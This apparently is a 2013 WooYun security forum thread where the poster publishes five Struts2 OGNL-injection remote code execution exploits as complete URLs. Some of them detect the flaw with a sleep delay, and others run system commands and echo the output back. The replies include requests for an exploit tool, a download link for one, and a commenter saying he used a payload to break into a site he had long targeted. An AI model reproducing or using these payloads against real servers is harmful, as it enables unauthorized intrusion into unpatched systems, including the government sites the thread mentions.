当前位置:WooYun(白帽子技术社区) >> java >> Struts2 5个远程代码执行漏洞利用POC+批量+DEMO

Struts2 5个远程代码执行漏洞利用POC+批量+DEMO

园长 (喵~) | 2013-05-22 21:42

注:

利用工具可以用任意语言编写其实就是发送漏洞代码就行了。一个request一个response,我尝试用过纯JS PHP JSP JavaSwing JavaFX 现在android版本都快写好了。本来打算发视频和利用工具的不过还是算了吧,懂的人自然就懂了.

最近想换工作求8K,北京。


演示DEMO下载:

http://pan.baidu.com/share/link?shareid=495946&uk=1076602916


利用代码:

检测是否存在:
POC1:

http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))

POC2:

http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'

POC3:
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true

POC4:

http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]

POC5(执行了两次所以是10秒):

http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}


执行CMD命令:

关于回显:webStr\75new\40byte[100] 修改为合适的长度。

POC1:

http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43req\[email protected]@getRequest()')(d))&(h)(('\43webRootzpro\[email protected]@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig

POC2:

http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%[email protected]@getRequest(),%[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%[email protected]@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig

POC3:

http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%[email protected]@getRequest(),%[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%[email protected]@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set  

POC4:

http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%[email protected]@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%[email protected]@getRequest(),%[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%[email protected]@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set


发几张图证明下:

1.jpg

2.jpg

3.jpg

4.jpg


相关:

http://ahack.iteye.com/blog/1858871
http://ahack.iteye.com/blog/1873005

分享到:
  1. 1#
    回复此人 感谢
    El4pse | 2013-05-22 21:42

    make

  2. 2#
    回复此人 感谢
    啦绯哥 | 2013-05-22 21:43

    http://www.freebuf.com/vuls/9757.html
    刚看到这个帖子,准备过来发帖,没想到园长抢先一步,园长你的水平在北京8K太少了

  3. 3#
    回复此人 感谢
    ansec (青春因梦想而精彩!) | 2013-05-22 21:46

    mark 备用

  4. 4#
    回复此人 感谢
    啦绯哥 | 2013-05-22 21:48

    目测成千上万的姑娘又一次失去贞洁。。。

  5. 5#
    回复此人 感谢
    园长 (喵~) | 2013-05-22 21:49

    @啦绯哥 我这不是在混教育公司嘛,唉。我把近年来的Struts2远程代码执行漏洞都给发了,还有个利用实在是不高的没发。sebug和空虚浪子哥博客上基本上都有啊。

  6. 6#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2013-05-22 22:26

    帝都8K太少了吧

  7. 7#
    回复此人 感谢
    混世魔王 (百度一下 "混世魔王") | 2013-05-22 22:36

    目测,这技术,8W 还差不多。

  8. 8#
    回复此人 感谢
    Master (小菜一枚) | 2013-05-22 23:27

    我靠,亮了。厉害。。。。

  9. 9#
    回复此人 感谢
    园长 (喵~) | 2013-05-22 23:50

    @无敌L.t.H 主要是没学历啊,硬伤。

  10. 10# 感谢(1)
    回复此人 感谢
    txcbg | 2013-05-23 01:10

    不错

  11. 11#
    回复此人 感谢
    飘雪柔情 | 2013-05-23 08:28

    @园长 求工具!!!

  12. 12#
    回复此人 感谢
    clzzy (南无阿弥陀佛) | 2013-05-23 08:32

    留爪

  13. 13#
    回复此人 感谢
    墨水心_Len | 2013-05-23 09:25

    学历跟年龄似的,仅供参考。果真遇到死卡学历的公司,看都不会看两眼。

  14. 14#
    回复此人 感谢
    Artorus | 2013-05-23 09:54

    @园长 求工具学习

  15. 15#
    回复此人 感谢
    空虚浪子心 | 2013-05-23 10:17

    都来看看啊!这才是“不负责任的漏洞公布”,居然还有人说我不服责任啊!尼玛吓得我都不好意思发POC啦!

  16. 16#
    回复此人 感谢
    园长 (喵~) | 2013-05-23 10:33

    @空虚浪子心 都是从你博客copy出来的,之所以没把工具发出来就是怕有的人拿来做坏事。
    至于责任问题,上面发布的POC只能检测是否有漏洞和执行命令,想拿到shell并不是那么容易。
    如果觉得不妥请 @xsser 删了吧。

  17. 17#
    回复此人 感谢
    livers (如梦似幻) | 2013-05-23 10:46

    @园长 @空虚浪子心 你们在搞笑么。。。   园长 为啥用sleep 直接用print判断啊。 传shell 无非就文件流写文件啊。8千真不多啊

  18. 18#
    回复此人 感谢
    园长 (喵~) | 2013-05-23 10:50

    @livers 不知道你有没有做过测试,在某些版本或运行的servlet容器内可能无法输出。菜鸟就算拿到上面的POC让他们写个文件上传恐怕不行。

  19. 19#
    回复此人 感谢
    空虚浪子心 | 2013-05-23 10:56

    @园长 没不妥,我支持你!

  20. 20#
    回复此人 感谢
    zeracker (多乌云、多机会!!! 微信公众号:301在路上) | 2013-05-23 11:01

    来个简历@ [email protected] 我给你推推。 :)

  21. 21#
    回复此人 感谢
    wuxianjun | 2013-05-23 11:16

    @空虚浪子心 @园长  国内很多站没修补的(包括政府),你们这么一发布多少站会遭殃

  22. 22#
    回复此人 感谢
    livers (如梦似幻) | 2013-05-23 11:18

    @园长 我就搭了一个版本 以前2,3 我都是println的 爬虫也写了。

  23. 23#
    回复此人 感谢
    gery | 2013-05-23 11:34

    工具下载http://pan.baidu.com/share/link?shareid=674881&uk=537349718

  24. 24#
    回复此人 感谢
    老树 | 2013-05-23 11:50

    帝都才8K,少了

  25. 25#
    回复此人 感谢
    shine (shield) | 2013-05-23 11:55

    可以加点分析啊!这还是有节操的!

  26. 26#
    回复此人 感谢
    DragonEgg (سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارت) | 2013-05-23 12:34

    @园长 只认学历的公司都是装X的公司。。你只在北京么?北京附近算不?

  27. 27#
    回复此人 感谢
    园长 (喵~) | 2013-05-23 12:40

    @DragonEgg 可以的,本来都打算回重庆的.但是回去压力更大。

  28. 28#
    回复此人 感谢
    园长 (喵~) | 2013-05-23 12:43

    @shine 懂的人自然就懂了,还好没把视频和利用工具发出来估计会死得很惨。谁想发工具谁发吧,我死也不发了。

  29. 29#
    回复此人 感谢
    冷静 (黑客大黑客超级黑客黑客王,这就是我的梦想。。。。。) | 2013-05-23 12:44

    @园长 你也是山城的啊..确实重庆工资不高,拼得忙死一个月也才5k-6k

  30. 30#
    回复此人 感谢
    DragonEgg (سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارت) | 2013-05-23 12:48

    @园长 短消息你了。。

  31. 31#
    回复此人 感谢
    samness (samness) | 2013-05-23 13:31

    这水平在北京至少税后1.5

  32. 32#
    回复此人 感谢
    Zvall (safeKey team - 电击小子) | 2013-05-24 10:21

    很不错!!

  33. 33#
    回复此人 感谢
    暴暴 | 2013-05-25 07:14

    @园长 感谢……以前不知道有这么多洞……昨天用其中一个打掉一个盯了很久的站。

  34. 34#
    回复此人 感谢
    Jonasen | 2013-05-25 09:16

    mak

  35. 35#
    回复此人 感谢
    saline (碧池就是碧池) | 2013-05-25 09:29

    @空虚浪子心 嘿嘿~

  36. 36#
    回复此人 感谢
    南国利剑 (把工作当生活,把生活当娱乐) | 2013-05-27 11:49

    mark

  37. 37#
    回复此人 感谢
    yofx | 2013-05-27 13:44

    非常感谢

  38. 38#
    回复此人 感谢
    clozure | 2013-06-13 16:44

    强势围观,搭车求8k

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录